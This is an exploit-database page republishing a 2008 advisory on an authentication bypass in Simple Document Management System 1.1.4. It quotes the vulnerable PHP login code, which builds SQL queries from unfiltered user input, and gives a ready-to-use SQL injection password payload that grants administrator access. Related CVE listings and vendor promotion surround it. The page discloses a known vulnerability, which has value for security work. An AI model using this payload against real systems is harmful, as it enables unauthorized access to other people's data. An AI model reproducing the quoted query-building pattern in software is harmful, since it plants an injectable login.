Lucene search
+L

Simple Document Management System 1.1.4 - Authentication Bypass

🗓️ 04 Nov 2008 00:00:00Reported by YuriType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Simple Document Management System 1.1.4 - Authentication Bypass, SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6220
4 Nov 200800:00
circl
circl
Circl
CVE-2008-6236
4 Nov 200800:00
circl
cve
CVE
CVE-2008-6220
20 Feb 200921:25
cve
cve
CVE
CVE-2008-6236
21 Feb 200923:00
cve
cvelist
Cvelist
CVE-2008-6220
20 Feb 200921:25
cvelist
cvelist
Cvelist
CVE-2008-6236
21 Feb 200923:00
cvelist
euvd
EUVD
EUVD-2008-6190
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2008-6206
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6220
20 Feb 200921:30
nvd
nvd
NVD
CVE-2008-6236
21 Feb 200923:30
nvd
Rows per page
SDMS Simple Document Management System v1.1.4 SQL Injection
___________________________________________________________________________

	Author: Yuri


	Program: SDMS Simple Document Management System
	Version: v1.1.4 (and probably all older versions as well)
	Website: http://sdms.cafuego.net/


How it works
___________________________________________________________________________
The login system is very insecure, this is the code we are going to abuse:

	$result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");

	$row = @mysql_fetch_array($result);

	if( $row[0] != 0 ) {

		header("Location: index.php");

		exit;

	}

	$result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
	$row = @mysql_fetch_array($result);

	$id = $row[id];

	$name = $row[name];

If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.

So if we enter
	user: Admin (case insensitive)
	password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --

The resulting query looks like this:

	SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'

which is always 0, so voila, admin access.

___________________________________________________________________________

						Yuri // 04 - 11 - 2008

# milw0rm.com [2008-11-04]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01152
29